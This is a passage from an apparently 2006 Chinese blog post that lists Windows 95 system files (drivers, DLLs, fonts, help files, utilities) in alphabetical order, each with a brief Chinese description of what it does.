网络客户信息 <br />NET3COM.INF - 网络设置信息 <br />NETAMD.INF - 网络设置信息 <br />NETAPI.DLL - 网络应用程序接口动态链接库 <br />NETAPI32.DLL - 32位网络API动态链接库 <br />NETAVXT.INF - MS内部传输文件 <br />NETBEUI.VXD - 32位NetBEUI协议 <br />NETBIOS.DLL - NetBIOSAPI库 <br />NETDCA.INF - 安装信息文件 <br />NETDDE.EXE - Windows网络动态数据交换 <br />NETDET.INI - NetWare检测文件 <br />NETDI.DLL - 网络设备安装 <br />NETH.MSG - 网络客户帮助信息 <br />NETOS.DLL - NOS检测DLL <br />NETWATCH.EXE - 网络观测程序 <br />NETWORK.TXT - 网络信息自述文件 <br />NOTEPAD.EXE - 记事本应用程序 <br />NODRIVER.INF - 即插即用设备信息 <br />NOTEPAD.EXE - NOTEPAD文件 <br />NSCL.VXD - NSCL虚拟设备 <br />NW16.DLL - NetWare客户 <br />NWAB32.DLL - 地址簿支持动态链接库 <br />NWLSCON.EXE - 登录文稿控制台程序 <br />NWLSPROC.EXE - NetWare登录处理器 <br />NWNET32.DLL - NetWare客户 <br />NWNP32.DLL - NetWare组件 <br />NWREDIR.VXD - NetWare重定向 <br />NWSERVER.VXD - NCP服务 <br />NWSP.VXD - NCP服务安全提供 <br /><br />O　↑ <br />OEMREVA.INF - 安装信息文件 <br />OLE2.DLL - OLE2.0动态链接库 <br />OLE2.INF - OLE设置信息 <br />OLE32.DLL - 32位OLE2.0组件 <br />OLEAUT32.DLL - OLE2-32自动化 <br />OLECL1.DLL - 对象链接与嵌入客户库 <br />OLEDLG.DLL - Windows OLE2.0用户接口支持 <br />OLESVR.DLL - 对象链接与嵌入服务端库 <br />OLETHK32.DLL - OLE形实替换程序库 <br /><br />P　↑ <br />PACKAGER.EXE - 对象包装程序 <br />PARALINK.VXD - 远程网络存取并行口驱动程序 <br />PBRVSH.EXE - "画图"应用程序 <br />PDOS95.BAT - 进入中文DOS状态 <br />PERF.VXD - 系统性能监视器 <br />PIFMGR.DLL - 程序信息文件管理服务程序 <br />PING.EXE - TCPPing工具 <br />PMSPL.DLL - LAN管理应用程序接口 <br />POWER.DRV - 高级电源管理驱动程序 <br />PPPMAC.VXD - Windows虚拟PPP驱动程序 <br />PRINT.EXE - DOS打印文件 <br />PRINTERS.TXT - 打印信息自述文件 <br />PROGMAN.EXE - 程序管理器 <br />PRTVPD.INF - 打印机升级设置信息 <br /><br />Q　↑ <br />QUIKVIEW.EXE - 快速查看 <br />QUIT.EXE - 退出中文DOS状态 <br />R　↑ <br />README.TXT - Windows95自述文件 <br />REGEDIT.EXE - 注册编辑器 <br />REGSERV.EXE - 远程注册 <br />REGWIE.EXE - 注册工具 <br />REGSERV.INF - 远程注册 <br />RESTORE.EXE - DOS命令 <br />RNAAPP.EXE - 拨号网络应用程序 <br />RNASERV.DLL - 远程网络存取服务 <br />RNASETUP.DLL - 远程网络存取设置动态链接库 <br />RNATHUNK.DLL - 远程网络存取转换支持动态链接库 <br />RNAUI.DLL - 远程网络存取用户接口DLLRNDSRV32.DLL复制服务程序 <br />ROBOTZCL.WAV - 声音文件 <br />ROBOTZWI.WAV - 声音文件 <br />ROMAN.FON - 字型文件 <br />ROUTE.EXE - TCP/IP ROUTE命令 <br />RPCLTC1.DLL - 远程调用库 <br />RPCNS4.DLL - 远程调用库 <br />RPCPP.DLL - 远程调用打印驱动 <br />RPCRT4.DLL - 远程调用库 <br />RPCSS.EXE - 远程调用结点映象 <br />RPLBOOT.SYS - 远程程序装入 <br />RPLIMAGE.DLL - 远程程序装入磁盘映象器 <br />RSRC16.DLL - 资源计量器 <br />RSRCMTR.EXE - 资源计量器 <br />RSRCMTR.INF - 资源计量器 <br />RUMOR.EXE - DDE测试/游戏 <br />RUNDLL.EXE - 把DLL作为应用程序运行 <br />RUNDLL32.EXE - 32位壳组件 <br />S　↑ <br />S3.DRV - S3显示驱动 <br />S3.VXD - S3虚拟设备 <br />SACLIEN.DLL - Microsoft网络组件 <br />SAMPLEVIDEOS - 图象文件 <br />SAPNSP.DLL - Winsock数据连接库 <br />SAVE32.COM - 安装时所需的TSR文件 <br />SB16.VXD - 16位声卡虚拟设备 <br />SB16SND.DRV - 16位声卡驱动 <br />SBAWE.VXD - AWE声卡虚拟设备 <br />SBAWE32.DRV - AWE声卡驱动 <br />SBFM.DRV - 16位声卡驱动 <br />SCANDISK.BAT - MSDOS6.x Scandisk的替代存根模块SCANDISK.BAT磁盘诊断工具 <br />SCANDISK.INI - 磁盘诊断工具 <br />SCANDISK.PIF - 安装磁盘诊断工具时的PIF文件 <br />SCANDSKW.EXE - 磁盘扫描工具 <br />SCANPROG.EXE - 磁盘扫描工具 <br />SCRNSAVE.SCR - 屏幕保护 <br />SCSI.INF - SCSI安装文件文件名描述 <br />SCSIIHLP.VXD - SCSI支持文件 <br />SCSIPORT.PDR - SCSI虚拟设备口 <br />SECUR32.DLL - Microsoft Win32安全服务 <br />SECURCL.DLL - Microsoft网络组件 <br />SEIKO24E.DRV - 打印机驱动 <br />SEIKOSH9.DRV - 打印机驱动 <br />SERIAL.VXD - 串口VCOMM驱动器 <br />SERIFE.FON - 字型文件 <br />SERVER.HLP - 服务器帮助文件 <br />SETMDIR.EXE - SBS文件 <br />SETUP.BIN - 安装支持文件 <br />SETUP.BMP - 安装Wash位图文件 <br />SETUP.EXE - Windows95安装程序 <br />SETUP.INF - 安装信息文件 <br />SETUP.TXT - 安装时的README文件 <br />SETUP4.DLL - 安装支持文件 <br />SETUPPP.INF - 安装信息 <br />SETUPX.DLL - 安装支持 <br />SETVER.EXE - MSDOS版本显示,该程序可在网络上执行 <br />SF4029.EXE - 打印机驱动 <br />SHARE.EXE - MSDOS共享实用程序 <br />SHELL.INF - 安装壳信息 <br />SHELL.VXD - 虚拟壳设备 <br />SHELL2.INF - 颜色组合 <br />SHELL3.INF - 颜色组合 <br />SIZE1-1.CUR - 光标 <br />SIZE1-M.CUR - 光标 <br />SIZE4-M.CUR - 光标 <br />SIZENESW.ANI - 活动光标 <br />SIZEWE.ANI- 活动光标 <br />SKPSFA-1.SPD - 打印机驱动 <br />SLAN.DOS - 网络适配器驱动 <br />SLCD32.MPD - SCSI驱动器 <br />SLENH.DLL - 高级节能选项 <br />SMALLE.FON - 字型文件 <br />SMALLF.FON - 字型文件 <br />SMARTDRV.EXE - 超高速缓存程序 <br />SMARTND.DOS - 网络适配器驱动器 <br />SMC3000.DOS - 网络适配器驱动器 <br />SMC9000.VXD - 网络适配器驱动器 <br />SNAPSHOT.EXE - 抽点 <br />SNAPSHOT.VXD - 抽点虚拟设备 <br />SNDREC32.EXE - 录音机 <br />SNIP.VXD - 网络适配驱动器 <br />SOCKET.VXD - Windows虚拟Socket网卡驱动器SOCKET.VXD PCMCIA支持 <br />SOL.CNT - 纸牌游戏 <br />SOL.HLP - 纸牌游戏帮助文件 <br />SORT.EXE - MSDOS分类实用程序 <br />SOUNDREC.CNT - 录音机帮助文件内容 <br />SOUNDREC.HLP - 录音机帮助文件 <br />SPARROW.WPD - SCSI驱动器 <br />SPARROWX.MPD - SCSI驱动器 <br />SPOOL32.EXE - 打印机支持 <br />SPOOLER.VXD - 打印机共享虚拟设备 <br />SRAMMTD.VXD - PCMCIA支持 <br />SSERIFE.FON - 字型文件 <br />SSERIFF.FON - 字型文件 <br />SSFLYWIN.SCR - 屏幕保护 <br />SSSTARS.SCR - 屏幕保护 <br />STAR24E.DRV - 打印机驱动 <br />STAR9E.DRV - 打印机驱动 <br />START.EXE - 启动程序 <br />STATE.PBK - Microsoft网络组件 <br />STDOLE.TLB - OLE2.0文件 <br />STDOLE32.TLB - OLE2-32文件 <br />STEMO409.DLL - Windows95帮助文件的DLL <br />STLSO4SS.SPD - 打印机驱动程序 <br />STLS577U.SPD - 打印机驱动程序 <br />STORAGE.DLL - OLE存储器管理库 <br />STRN.DOS - 网络适配器驱动 <br />SUBST.EXE - MSDOS Subst实用程序 <br />SUEXPAND.DLL - LZ DLL安装 <br />SUHELPER.BIN - 安装支持 <br />SUPERVGA.DRV - 高级VGA显示驱动 <br />SURPORT.TXT - PSS支持信息 <br />SVCPROP.DLL - Microsoft网络组件 <br />SVRAPI.DLL - 32位公用服务器API实用程序 <br />SXCIEXT.DLL - Matrox显示驱动支持文件 <br />SYMBOLE.FON - 字型文件 <br />SYS.COM - MSDOS系统实用程序 <br />SYSCLASS.DLL - 系统类库安装 <br />SYSDETMG.DLL - 系统检测库 <br />SYSEDIT.EXE - 系统编辑器 <br />SYSLOGO.RLE - 系统标识 <br />SYSMON.EXE - 系统监控程序 <br />SYSMON.HLP - 系统监控帮助 <br />SYSTEM.DRV - 最小Win3.1标准模式 <br />SYSTHUNK.DLL - Windows系统形实替换程序库 <br />SYSTRAY.EXE - 高级节能管理 <br /><br />T　↑ <br />T128.MPD - SCSI驱动器 <br />T160.MPD - SCSI驱动器 <br />T20N3.VXD - 网络适配驱动器 <br />T30ND.DOS - 网络适配驱动器 <br />T338.MPD - SCSI驱动器 <br />TADA.WAV - 声音文件 <br />TAPI.DLL - API通话程序 <br />TAPI.INF - API通话安装信息文件 <br />TAPI32.DLL - 32位形实替换 <br />TAPIADDR.DLL - API通话程序 <br />TAPIEXE.EXE - API通话组件 <br />TAPIINI.EXE - API通话组件 <br />TASKMAM.EXE - 任务管理器 <br />TCCARC.DOS - 网络适配驱动器 <br />TCTOKCH.VXD - 网络适配驱动器 <br />TELEPHON.CPL - 通话帮助 <br />TESTPS.TXT - PostScript测试 <br />TEXTCHAT.EXE - Microsoft网络组件 <br />THEMIC-1.WAV - 声音文件 <br />THINKJET.DRV - 打印机驱动 <br />THREED.VBX - Windows95浏览 <br />T1850.DRV - 打印机驱动 <br />TIMEDATE.CPL - 时间/日期控制面板 <br />TIMES.TTF - 时间字型 <br />TIMESBD.TTF - 时间粗体字型 <br />TIMESBI.TTF - 时间粗斜体字型 <br />TIMESI.TTF - 时间斜体字型 <br />TIMEZONE.INF - 安装信息 <br />TIMLP232.SPD - 打印机驱动 <br />TIPS.txt - 提示和技巧自述文件 <br />TKPHZR32.SPD - 打印机驱动 <br />TLNK.DOS - 网络适配驱动器 <br />TLNK3.VXD - 网络适配驱动器 <br />TMV1.MPD - SCSI驱动器 <br />TOOLHELP.DLL - 16位开发工具帮助器 <br />TOSHIBA.DRV - 打印机驱动 <br />TOUR.EXE - 浏览文件 <br />TPHAIII.ICM - 打印机简介 <br />TRACERT.EXE - TCP/IP IRACEROUTE命令 <br />TREE.COM - MS DOS树实用程序 <br />TREEEDCL.DLL - Microsoft网络组件 <br />TREENVCL.DLL - Microsoft网络组件 <br />TRIUMPHI.SPD - 打印机驱动 <br />TSD32.DLL - 声音压缩管理器 <br />TSENG.DRV - ET4000W32显示驱动 <br />TTY.DRV - 打印机驱动 <br />TTY.HLP - TTY打印机驱动帮助 <br />TYPELIB.DLL - OLE2.0 <br /><br />U　↑ <br />U9415470.SPD - 打印机驱动 <br />UBNEI.DOS - 网络适配器驱动 <br />ULTRA124.MPD - SCSI驱动器 <br />ULTRA24F.MPD - SCSI驱动器 <br />UMDM16.DLL - 通用调制解调器驱动组件 <br />UMDM32.DLL - 通用调制解调器驱动组件 <br />UNIDRV.DLL - Microsoft通用打印机驱动库 <br />UNIDRV.HLP - 通用打印机驱动帮助 <br />UNIMODEM.VXD - 通用调制解调器驱动 <br />USER32.DLL - 32位用户 <br /><br />V　↑ <br />V86MMGR.VXD - V86MMGR虚拟设备 <br />VCACHE.VXD - VCache虚拟设备 <br />VCD.VXD - 虚拟COM驱动程序 <br />VCOMM.VXD - VCOMM驱动程序 <br />VCOND.VXD - Win32控制台 <br />VDMAD.VXD - VDMAD虚拟设备 <br />VER.DLL - 小型Win3.1安装程序16位版动态链接库 <br />VER.NEW - 版本检测与文件安装库 <br />VERSION.DLL - 32位版本动态链接库 <br />VERX.DLL - 安装程序使用的版本动态库 <br />VFAT.VXD - VFAT文件系统 <br />VFD.VXD - 软盘虚拟设备 <br />VFLATD.VXD - 虚拟平板帧缓存虚拟设备 <br />VGA.DRV - VGA显示驱动程序 <br />VIDCAP.INF - 即插即用VCD信息 <br />VIDEOT.VXD - 视频虚拟设备 <br />VIP.386 - TCP/IP虚拟IP设备 <br />VJOYD.VXD - 游戏棒虚拟设备 <br />VKD.VXD - 虚拟键盘设备 <br />VLB32.DLL - Mail/Exchange组件 <br />VMD.VXD - Win3.1虚拟鼠标驱动程序 <br />VMM.VXD - 虚拟存储管理设备 <br />VMM32.VXD - 虚拟存储管理设备 <br />VMOUSE.VXD - 虚拟鼠标驱动程序 <br />VNBT.386 - NetBIOS传输驱动程序 <br />VNETBIOS.VXD - VNETBIOS虚拟设备 <br />VNETSUP.VXD - 网络支持虚拟设备 <br />VPD.VXD - 虚拟LPT驱动程序 <br />VPICD.VXD - 虚拟可编程干扰控制器设备 <br />VPOWERD.VXD - 高级电源管理虚拟设备 <br />VREDIR.VXD - Microsoft网络32位客户端程序 <br />VSAMI.DLL - AMI文件语法分析程序 <br />VSASC8.DLL - ASCII文件语法分析程序 <br />VSBMP.DLL - BMP文件语法分析程序 <br />VSERVER.VXD - Microsoft网络32位服务器端程序 <br />VSGIF.DLL - GIF文件语法分析程序 <br />VSHARE.VXD - 32位共享虚拟设备驱动程序 <br />VSMSW.DLL - Win写文件语法分析 <br />VSPP.DLL - PowerPoint语法分析程序 <br />VSRTF.DLL - RTF文件语法分析程序 <br />VSTIFF.DLL - TIFF文件语法分析程序 <br />VSW6.DLL - Word6文件语法分析程序 <br />VSWORD.DLL - Word文件语法分析程序 <br />VSWP5.DLL - WordPerfect5文件语法分析程序 <br />VSXL5.DLL - Excel文件/图表语法分析程序 <br />VTCP.386 - TCP/IP虚拟TCP驱动程序 <br />VTDAPI.VXD - VTDAPI虚拟设备 <br />VTDI.386 - 传输驱动接口支持程序 <br />VXDLDR.VXD - 虚拟设备驱动程序装载器 <br /><br />W　↑ <br />WAVE.INF - 即插即用音波设备信息 <br />WDTOOOEX.MPD - SCSI驱动 <br />WGPOADMN.DLL - Mail/Exchange组件 <br />WHLP16T.DLL - 帮助动态链接库 <br />WIN87EM.DLL - 80387数学仿真库 <br />WINABC.HLP - 智能ABC帮助文件 <br />WINBX.HLP - 表形码输入法帮助文件 <br />WINCHA.HLP - 繁体仓颉输入法帮助文件 <br />WINDOWS.CNT - Windows95帮助文件内容 <br />WINDOWS.HLP - Windows95帮助文件 <br />WINFILE.CNT - 文件管理器帮助文件内容 <br />WINFILE.EXE - Windows工作组文件管理器 <br />WINFILE.HLP - 文件管理器帮助文件 <br />WINGB.HLP - 区位码输入法帮助文件 <br />WINHLP23.HLP - Windows帮助文件 <br />WINIME.HLP - *作指南帮助文件 <br />WINNM.HLP - GBK内码输入法帮助文件 <br />WININIT.EXE - Windows初始化文件 <br />WINIPCFG.EXE - TCP/IP配置工具 <br />WINNEWS.TXT - Winnews信息 <br />WINPHO.HLP - 繁体注音输入法帮助文件 <br />WINPOPUP.EXE - POPUP工具 <br />WINREG.DLL - 远程注册支持 <br />WINPY.HLP - 全拼输入法帮助文件 <br />WINSOCK.DLL - Windows的套接API <br />WINSY.HLP - 双拼输入法帮助文件 <br />WINXSP.HLP - GBK双拼输入法帮助文件 <br />WINXZM.HLP - GBK郑码输入法帮助 <br />WINZM.HLP - 郑码输入法帮助文件 <br />WNASPI32.DLL - Windows DLL32位ASPI <br />WPSUNI.DRV - 传真驱动程序 <br />WPSUNIRE.DLL - WPS主机资源执行程序 <br /><br />X　↑ <br />XCOPY.EXE - DOS XCOPY工具 <br />XCOPY32.EXE - 文件拷贝程序 <br />XGA.DRV - XGA显示驱动程序<img src ="http://www.cppblog.com/asp/aggbug/13203.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/asp/" target="_blank">Asp</a> 2006-10-01 18:25 <a href="http://www.cppblog.com/asp/archive/2006/10/01/13203.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>